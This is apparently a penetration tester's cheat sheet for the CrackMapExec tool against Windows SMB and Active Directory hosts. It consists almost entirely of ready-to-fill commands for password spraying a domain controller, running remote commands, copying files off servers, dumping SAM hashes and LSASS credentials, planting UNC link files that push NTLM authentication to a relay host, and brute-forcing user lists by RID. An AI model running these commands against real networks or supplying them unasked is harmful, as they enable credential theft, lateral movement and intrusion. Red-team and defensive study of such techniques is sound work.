CME

Table of content

• Password spraying
• Get password policy
• Execute command
• Copy file from server to host
• Dump sam
• Dump lsass
• Create UNC file
• Enumerate users

Password spraying

Be carefull, it does not check the password policy !

cme smb ${dcIp} -u ${userList.txt} -p ${password} -d ${domain} --continue-on-success

Use --local-auth to perform local authentication

Get password policy

cme smb ${domainServer} -u ${username} -p ${password} --pass-pol

Execute command

cme smb ${serverIp} -u ${username} -p ${password} -x ${command}

Copy file from server to host

cme smb ${serverIp} -u ${username} -p ${password}  --get-file ${remotePath} ${localPath}

Dump sam

cme smb ${serverIp} -u ${username} -p ${password}  --sam

Dump lsass

cme smb ${serverIp} -u ${username} -p ${password}  -M lsassy

Create UNC file

Generate and deploy the UNC file

cme smb ${serverIp} -u ${username} -p ${password} -M slinky -o NAME=${shareName} SERVER=${ntlmRelayxIp}

Clean up you mess

cme smb ${serverIp} -u ${username} -p ${password} -M slinky -o NAME=${shareName} SERVER=${ntlmRelayxIp} CLEANUP=True

Enumerate users

cme smb ${serverIp} -u ${username} -p ${password} --rid-brute